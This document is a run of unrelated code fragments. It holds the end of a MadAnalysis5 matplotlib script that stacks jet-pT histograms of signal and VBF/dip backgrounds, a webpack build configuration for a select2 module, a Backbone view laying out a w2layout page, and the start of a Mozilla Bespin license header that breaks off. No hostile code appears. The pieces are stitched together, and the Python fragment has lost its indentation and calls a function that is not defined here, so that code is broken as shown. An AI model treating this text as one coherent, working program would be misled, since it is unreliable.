y4_PT_6_weights = numpy.array([0.0,0.0,0.310068427,0.448197678426,0.534178949103,0.626671430571,0.687447665841,0.79076762589,0.842944133697,0.917295727339,0.969717895919,1.0955650289,1.18772262753,1.30876137098,1.38968659085,1.58228703776,1.77709803153,1.9926477558,2.22739262871,2.54163276774,2.92228413606,3.39830749821,3.97776044753,4.77563343119,5.8403048174,7.24825712696,9.38842257677,12.3461502811,17.4087266984,24.527751855,26.7432759476,23.120363685,20.0608828082,17.3329279467,14.8839621036,12.3627743937,10.1404806264,7.75536257842,4.95440965817,1.65866593293,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y4_PT_7
y4_PT_7_weights = numpy.array([0.0,0.0,0.0981808374462,0.118238827402,0.133678646889,0.167774806626,0.183468540917,0.188650302284,0.211574510539,0.211561015068,0.212131423679,0.251724239127,0.245928883638,0.256511132983,0.263384326825,0.283452293433,0.290208426552,0.312325305689,0.345448691821,0.361877579447,0.364803297782,0.426518990355,0.456116359569,0.468685142373,0.531418993324,0.58072574946,0.619594607816,0.713192602941,0.837832082736,0.931545139253,1.04551319962,1.24595094687,1.46126070413,1.76933633571,2.06570289602,2.5535791992,3.24989056629,4.11628286623,5.72377050693,7.90164876483,8.54780096179,7.70818267838,6.98209630168,6.20982742057,5.61538087484,5.16264278176,4.72045714802,4.1658792252,3.72629171972,3.39264266877,3.09324412577,2.76172336072,2.42296102543,2.15534981685,1.92518304456,1.62254058999,1.38394864459,1.04612699368,0.700824552785,0.219601017411,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y4_PT_8
y4_PT_8_weights = numpy.array([0.0,0.0,0.0102342220016,0.0113397067885,0.0134730515733,0.0145110243352,0.0143335459546,0.0147432868234,0.0152250994716,0.0157848805668,0.0165397336536,0.0150923385351,0.0158466132707,0.0167966221682,0.0170578902263,0.0170553798468,0.018046992312,0.0188711679145,0.0188058016563,0.019370213752,0.0198651985583,0.0203132028071,0.0201259637023,0.0212324333626,0.0229354848562,0.0227619417784,0.0244882320937,0.0261886013788,0.0267964065782,0.0292738619437,0.0306435819818,0.0323223385341,0.0330841653629,0.0360394352097,0.0393034691589,0.0409883319264,0.0448849563574,0.0488146851081,0.0531850504162,0.0565898206811,0.0599634521823,0.0689039654188,0.0755636794609,0.0819048393396,0.0898479063075,0.100669695408,0.115327252143,0.127027003507,0.145527955409,0.164926357495,0.190419282011,0.2152896408,0.2521319532,0.300361707318,0.360588979847,0.442693476079,0.546366281035,0.68860337622,0.928402032038,1.24338215261,1.36981475358,1.27789756536,1.1767074796,1.08916941578,0.996949221823,0.922764365145,0.854908682227,0.785095825328,0.726622842855,0.660228963544,0.604713954082,0.554545759533,0.509643075454,0.453193064888,0.403064684371,0.35164850852,0.297659843306,0.227355806984,0.152754663172,0.0501422106544,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y4_PT_9
y4_PT_9_weights = numpy.array([0.0,0.0,0.00138718717612,0.00192856664779,0.00240512632334,0.00204094291875,0.00158320221463,0.00187019858253,0.00173013809438,0.00232465454232,0.00215444033889,0.00217935360991,0.00187268293029,0.00187037083856,0.00187238593713,0.00204007866866,0.00206465782238,0.00210072467144,0.00195477926387,0.00232261271437,0.00209845415875,0.00221232727523,0.00300105200382,0.0023242996355,0.0023570267965,0.00221267921212,0.00218056534199,0.00277743249078,0.0022098934163,0.00248973373407,0.00249327389251,0.00275010169545,0.00340467015986,0.00289588227182,0.00306068971482,0.00331884210725,0.00391162857006,0.00393635919029,0.00394082299745,0.00357427107243,0.00496126772744,0.00467037480932,0.00507763558644,0.00518937332212,0.0053332694769,0.00490356492685,0.0063190031316,0.00661569929602,0.00756405042197,0.0071500033512,0.007221586127,0.00816172093725,0.00844820647692,0.00824217341371,0.00978051035699,0.0101402967779,0.0125349867617,0.0130600305702,0.0133214335527,0.0151865372176,0.0167911763984,0.0186476509271,0.0212582207822,0.0221994217979,0.024309929424,0.026790030185,0.0320429481631,0.0355733355265,0.0370931386118,0.0444198261624,0.0510893718029,0.0589463257866,0.0659617348087,0.0772641361129,0.0940629006865,0.11195719877,0.138936398747,0.173419502091,0.226743732555,0.296103514576,0.329245129527,0.304697754074,0.293926703228,0.273925402037,0.254454530626,0.241117904389,0.228990188799,0.214565973618,0.198114186151,0.18725567082,0.178203764867,0.169454049451,0.153463343861,0.14687974804,0.137595608287,0.132936453879,0.123254892733,0.119417429294,0.113038164766,0.103927469017])
# Creating weights for histo: y4_PT_10
y4_PT_10_weights = numpy.array([0.0,0.0,1861440.13419,681871.978618,167532.480608,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y4_PT_11
y4_PT_11_weights = numpy.array([0.0,0.0,107706.690554,166262.3717,269770.513045,249558.177493,150055.319967,89662.7518992,47944.3223333,14401.5997751,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y4_PT_12
y4_PT_12_weights = numpy.array([0.0,0.0,6261.72143248,5597.17156921,5792.90631755,6875.56438448,8995.82948139,13388.2806091,22117.8536592,34984.7986737,36143.0464251,26946.6601014,20328.9336559,15501.8370399,11890.7534024,9100.12503337,6871.77587084,4883.30955172,2931.74473868,936.297718158,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y4_PT_13
y4_PT_13_weights = numpy.array([0.0,0.0,327.362002999,252.542672065,215.468477889,200.646725343,190.84911703,193.367152225,196.741754884,222.941831842,245.262714233,284.691247465,333.648242548,415.314227054,526.326755312,698.288492443,971.904570744,1408.91517268,2210.81812811,3285.9274406,3487.31254903,2923.55073707,2452.41285619,2048.64776691,1674.23564612,1394.49452377,1114.45447803,833.301067703,518.12579029,171.100168376,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y4_PT_14
y4_PT_14_weights = numpy.array([0.0,0.0,44.8420123372,33.5821162649,26.8188663111,23.6324223731,20.8491567782,19.5086737438,20.0626798671,19.4787751933,20.1352325503,20.8993841585,22.2205274973,23.8127542639,25.0524063027,27.837219316,29.7122474119,34.0371968411,39.7329829783,45.4705008654,55.8355825347,65.4844400875,81.3103430318,98.2196208947,127.476387222,169.44892759,226.612747314,321.461848235,472.654455087,678.034437571,740.854162517,646.576938885,561.013865351,483.356157904,414.224300976,349.956859935,283.322596963,216.189943905,137.73018827,46.9009586935,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y4_PT_15
y4_PT_15_weights = numpy.array([0.0,0.0,11.062155629,8.38280842671,6.42784089764,5.74886071633,4.97658842649,4.41923656203,4.43359896062,4.0149848656,4.00005304965,3.99473592271,4.01997111488,4.11082780999,4.15915903183,4.20131130588,4.33721737819,4.8862896065,5.02460031293,5.41220039909,5.85638056394,6.28639839575,7.22265518945,7.59621990725,8.75880086311,9.73205054791,11.415602216,12.8780699007,14.7987415762,17.3996592325,20.7235868825,24.8852313441,29.6015421749,36.3084129669,45.5754726845,59.3698389921,76.9427896243,105.967877521,148.684567283,209.452941472,230.743687278,208.199338382,186.049695746,169.691373894,152.174710937,138.383499509,124.252215108,112.337657086,101.725064155,91.4049901532,82.7841652714,75.0386656788,66.8473276857,59.9074767043,52.2071457587,44.9191807069,37.7582649791,29.7013710408,18.8115988216,6.32846217926,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y4_PT_16
y4_PT_16_weights = numpy.array([0.0,0.0,0.714433798809,0.580528094946,0.482894939474,0.402059669969,0.373093694457,0.321415235849,0.290961807813,0.271245144851,0.252850031701,0.262064958432,0.242303983848,0.210135046139,0.257435516502,0.248311103644,0.210206771885,0.296985470615,0.248347261928,0.260441380604,0.274189681669,0.277263962915,0.236233055316,0.325937502736,0.298425775574,0.277044886257,0.323102504247,0.356446113512,0.347316146931,0.351812299502,0.436905029641,0.449395589629,0.485841130592,0.511723371711,0.621361549958,0.591029594849,0.676273102667,0.734152470565,0.857845586301,0.914155141139,1.072384735,1.11066087769,1.34357564243,1.4336204031,1.63449857418,1.71510673185,2.10157261032,2.52397226007,2.81674328186,3.24511968318,3.85823773532,4.59900752626,5.56516395094,6.63794240947,8.1629558282,10.5743753869,13.3414731093,17.6245754021,23.7342854657,32.3277623777,35.6024975857,32.9840234066,30.9052293332,28.1614773367,26.4515804699,24.2293230894,22.2703240088,20.4078297326,18.9324063362,17.433657302,16.0246186235,14.8355310197,13.3557237269,11.9388743864,10.5732091051,9.55493748642,7.74899429292,6.10803922001,3.79952070052,1.49147720162,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y4_PT_17
y4_PT_17_weights = numpy.array([0.0,0.0,0.0734932472288,0.0536253152834,0.0460443597745,0.0348501889178,0.0301608054768,0.0310572232429,0.0243748345088,0.0258184368726,0.0234747002671,0.0243737214917,0.0241917412792,0.0258207322296,0.0209431564775,0.0198659177312,0.0184193999559,0.0225699059887,0.0205754949819,0.0236504183145,0.0216667947152,0.0231070195152,0.024728373397,0.0227498026641,0.0236490472624,0.0328571297069,0.0297875519372,0.0303363386633,0.0297895353413,0.0354005508134,0.0326810573427,0.0343111844177,0.0361195636758,0.0371939216721,0.0411714248028,0.0436997065667,0.0429638829105,0.0451333033309,0.0476698268127,0.054348352723,0.0570589150984,0.0623013024062,0.0682577922071,0.0727636626301,0.0722183998161,0.0821564096224,0.08594486546,0.0891865950011,0.0960540257074,0.107254597375,0.12457761007,0.122404839044,0.143186099683,0.151671063811,0.169379164998,0.180922961853,0.201878222872,0.224078214372,0.242288290098,0.275518896719,0.299195850284,0.343770411356,0.372668801319,0.407874531786,0.4813841084,0.549090206172,0.598892519725,0.700748599304,0.812886799669,0.944717314065,1.08262628798,1.25944656888,1.47899129922,1.81717286301,2.16624581851,2.64560261836,3.40412874124,4.35030992305,5.74926836444,7.57580636084,8.31811940706,7.91943978252,7.33974276299,6.93563669895,6.54566094473,6.12767875469,5.75078191357,5.39464341803,5.07162584494,4.86630693592,4.47268017769,4.22764312062,3.98370367551,3.78489225749,3.51511695237,3.34217374504,3.17551850632,2.93788050927,2.78497314926,2.60727708956])
# Creating a new Canvas
fig = plt.figure(figsize=(12,6),dpi=80)
frame = gridspec.GridSpec(1,1,right=0.7)
pad = fig.add_subplot(frame[0])
# Creating a new Stack
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights+y4_PT_11_weights+y4_PT_12_weights+y4_PT_13_weights+y4_PT_14_weights+y4_PT_15_weights+y4_PT_16_weights+y4_PT_17_weights,\
label="$bg\_dip\_1600\_inf$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#f2f2f2", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights+y4_PT_11_weights+y4_PT_12_weights+y4_PT_13_weights+y4_PT_14_weights+y4_PT_15_weights+y4_PT_16_weights,\
label="$bg\_dip\_1200\_1600$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#ccc6aa", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights+y4_PT_11_weights+y4_PT_12_weights+y4_PT_13_weights+y4_PT_14_weights+y4_PT_15_weights,\
label="$bg\_dip\_800\_1200$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#ccc6aa", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights+y4_PT_11_weights+y4_PT_12_weights+y4_PT_13_weights+y4_PT_14_weights,\
label="$bg\_dip\_600\_800$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#c1bfa8", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights+y4_PT_11_weights+y4_PT_12_weights+y4_PT_13_weights,\
label="$bg\_dip\_400\_600$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#bab5a3", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights+y4_PT_11_weights+y4_PT_12_weights,\
label="$bg\_dip\_200\_400$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#b2a596", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights+y4_PT_11_weights,\
label="$bg\_dip\_100\_200$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#b7a39b", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights,\
label="$bg\_dip\_0\_100$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#ad998c", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights,\
label="$bg\_vbf\_1600\_inf$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#9b8e82", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights,\
label="$bg\_vbf\_1200\_1600$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#876656", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights,\
label="$bg\_vbf\_800\_1200$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#afcec6", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights,\
label="$bg\_vbf\_600\_800$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#84c1a3", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights,\
label="$bg\_vbf\_400\_600$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#89a8a0", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights,\
label="$bg\_vbf\_200\_400$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#829e8c", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights,\
label="$bg\_vbf\_100\_200$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#adbcc6", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights,\
label="$bg\_vbf\_0\_100$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#7a8e99", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights,\
label="$signal2$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#758991", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights,\
label="$signal1$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#688296", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
# Axis
plt.rc('text',usetex=False)
plt.xlabel(r"p_{T} [ j_{2} ] ( GeV ) ",\
fontsize=16,color="black")
plt.ylabel(r"$\mathrm{Events}$ $(\mathcal{L}_{\mathrm{int}} = 40.0\ \mathrm{fb}^{-1})$ ",\
fontsize=16,color="black")
# Boundary of y-axis
ymax=(y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights+y4_PT_11_weights+y4_PT_12_weights+y4_PT_13_weights+y4_PT_14_weights+y4_PT_15_weights+y4_PT_16_weights+y4_PT_17_weights).max()*1.1
ymin=0 # linear scale
#ymin=min([x for x in (y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights+y4_PT_11_weights+y4_PT_12_weights+y4_PT_13_weights+y4_PT_14_weights+y4_PT_15_weights+y4_PT_16_weights+y4_PT_17_weights) if x])/100. # log scale
plt.gca().set_ylim(ymin,ymax)
# Log/Linear scale for X-axis
plt.gca().set_xscale("linear")
#plt.gca().set_xscale("log",nonposx="clip")
# Log/Linear scale for Y-axis
plt.gca().set_yscale("linear")
#plt.gca().set_yscale("log",nonposy="clip")
# Legend
plt.legend(bbox_to_anchor=(1.05,1), loc=2, borderaxespad=0.)
# Saving the image
plt.savefig('../../HTML/MadAnalysis5job_0/selection_3.png')
plt.savefig('../../PDF/MadAnalysis5job_0/selection_3.png')
plt.savefig('../../DVI/MadAnalysis5job_0/selection_3.eps')
# Running!
if __name__ == '__main__':
selection_3()
|
/* Webpack Configuration
===================================================================================================================== */
// Load Core:
const path = require('path');
const webpack = require('webpack');
// Load Plugins:
const CleanPlugin = require('clean-webpack-plugin');
const UglifyJsPlugin = require('uglifyjs-webpack-plugin');
const ExtractTextPlugin = require('extract-text-webpack-plugin');
// Define Base:
const BASE = '/resources/vendor/silverware/select2';
// Define Paths:
const PATHS = {
MODULE: {
SRC: path.resolve(__dirname, 'client/src'),
DIST: path.resolve(__dirname, 'client/dist'),
PUBLIC: BASE + '/client/dist/',
},
MODULES: path.resolve(__dirname, 'node_modules')
};
// Define Configs:
const CONFIGS = [
{
paths: PATHS.MODULE,
entry: {
'bundle': 'bundles/bundle.js'
},
resolve: {
alias: {
'bootstrap': path.resolve(process.env.PWD, '../../silverstripe/admin/node_modules/bootstrap'),
'silverstripe-admin': path.resolve(process.env.PWD, '../../silverstripe/admin/client/src')
}
}
}
];
// Define Rules:
const rules = (env) => {
// Answer Rules:
return [
{
test: /\.js$/,
use: [
{
loader: 'babel-loader'
}
],
exclude: [
PATHS.MODULES
]
},
{
test: /\.css$/,
use: style(env)
},
{
test: /\.scss$/,
use: style(env, [
{
loader: 'resolve-url-loader',
options: {
sourceMap: true
}
},
{
loader: 'sass-loader',
options: {
sourceMap: true
}
}
])
},
{
test: /\.(gif|jpg|png)$/,
use: [
{
loader: 'url-loader',
options: {
name: 'images/[name].[ext]',
limit: 10000
}
}
]
},
{
test: /\.svg$/,
use: [
{
loader: 'file-loader',
options: {
name: 'svg/[name].[ext]'
}
},
{
loader: 'svgo-loader',
options: {
plugins: [
{ removeTitle: true },
{ convertColors: { shorthex: false } },
{ convertPathData: true }
]
}
}
]
},
{
test: /\.(ttf|eot|woff|woff2)$/,
loader: 'file-loader',
options: {
name: 'fonts/[name].[ext]'
}
}
];
};
// Define Style Loaders:
const style = (env, extra = []) => {
// Common Loaders:
let loaders = [
{
loader: 'css-loader',
options: {
sourceMap: true
}
},
{
loader: 'postcss-loader',
options: {
config: {
path: path.resolve(__dirname, 'postcss.config.js')
},
sourceMap: true
}
}
];
// Merge Loaders:
loaders = [...loaders, ...extra];
// Answer Loaders:
return (env === 'production') ? ExtractTextPlugin.extract({
fallback: 'style-loader',
use: loaders
}) : [{ loader: 'style-loader' }].concat(loaders);
};
// Define Devtool:
const devtool = (env) => {
return (env === 'production') ? false : 'source-map';
};
// Define Plugins:
const plugins = (env, config) => {
// Common Plugins:
let plugins = [
new webpack.ProvidePlugin({
$: 'jquery',
jQuery: 'jquery'
})
];
// Merge Plugins:
if (config.plugins) {
plugins = [...plugins, ...config.plugins];
}
// Answer Plugins:
return plugins.concat(
(env === 'production') ? [
new CleanPlugin(
[ config.paths.DIST ]
),
new ExtractTextPlugin({
filename: 'styles/[name].css',
allChunks: true
}),
new UglifyJsPlugin({
uglifyOptions: {
output: {
comments: false
}
}
})
] : [
]
);
};
// Define Resolve:
const resolve = (env, config) => {
let resolve = {
modules: [
config.paths.SRC,
PATHS.MODULES
]
};
if (config.resolve) {
Object.assign(resolve, config.resolve);
}
return resolve;
};
// Define Externals:
const externals = (env, config) => {
let externals = {
jquery: 'jQuery'
};
if (config.externals) {
Object.assign(externals, config.externals);
}
return externals;
};
// Define Configuration:
const config = (env, configs) => {
// Define Exports:
let exports = [];
// Iterate Configs:
for (let config of configs) {
// Build Export:
exports.push({
entry: config.entry,
output: {
path: config.paths.DIST,
filename: 'js/[name].js',
publicPath: config.paths.PUBLIC
},
module: {
rules: rules(env)
},
devtool: devtool(env),
plugins: plugins(env, config),
resolve: resolve(env, config),
externals: externals(env, config)
});
}
// Answer Exports:
return exports;
};
// Define Module Exports:
module.exports = (env = {}) => {
process.env.NODE_ENV = env.production ? 'production' : 'development';
console.log(`Running in ${process.env.NODE_ENV} mode...`);
return config(process.env.NODE_ENV, CONFIGS);
};
|
import Backbone from 'backbone';
import Sidebar from './Sidebar';
import NavMenuModel from '../models/NavMenuModel';
import InterfaceLayoutView from './InterfaceLayoutView';
class MainPage extends Backbone.View {
initialize() {
this.name = 'mainPageLayout';
this.menuModel = NavMenuModel;
this.sidebar = new Sidebar();
this.currentView = null;
this.listenTo(this.menuModel, 'change:activeMenuId', () => this.onMenuChanged());
}
render() {
var pstyle = 'border: 1px solid #dfdfdf; padding: 5px;';
this.layout = $('#mainPage').w2layout({
name: this.name,
panels: [
{
type: 'top', size: 50, style: pstyle, content: 'top'
}, {
type: 'left', size: 200, resizable: true
}, {
type: 'main', style: pstyle, content: 'main'
}, {
type: 'bottom', size: 24, resizable: false, content: 'right'
}
],
});
this.layout.content('left', this.sidebar.sidebar);
}
onMenuChanged() {
if (this.currentView) this.currentView.remove();
var menuId = this.menuModel.getActiveMenuId();
var view;
switch (menuId) {
case 'interfaces-ethernet':
view = new InterfaceLayoutView({parentLayout: this.name});
}
view.render();
this.currentView = view;
}
}
export default MainPage;
|
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1
*
* The contents of this file are subject to the Mozilla Public License
* Version 1.1 (the "License"); you may not use this file except in
* compliance with the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS"
* basis, WITHOUT WARRANTY OF ANY KIND, either express or implied.
* See the License for the specific language governing rights and
* limitations under the License.
*
* The Original Code is Bespin.
*
* The Initial Developer of the Original Code is Mozilla.
* Portions created by the Initial Developer are Copyright (C) 2009
* the Initial Developer. All Rights Reserved.
*
* Contributor(s):
* Bespin Team (bespin@mozilla.com)
*
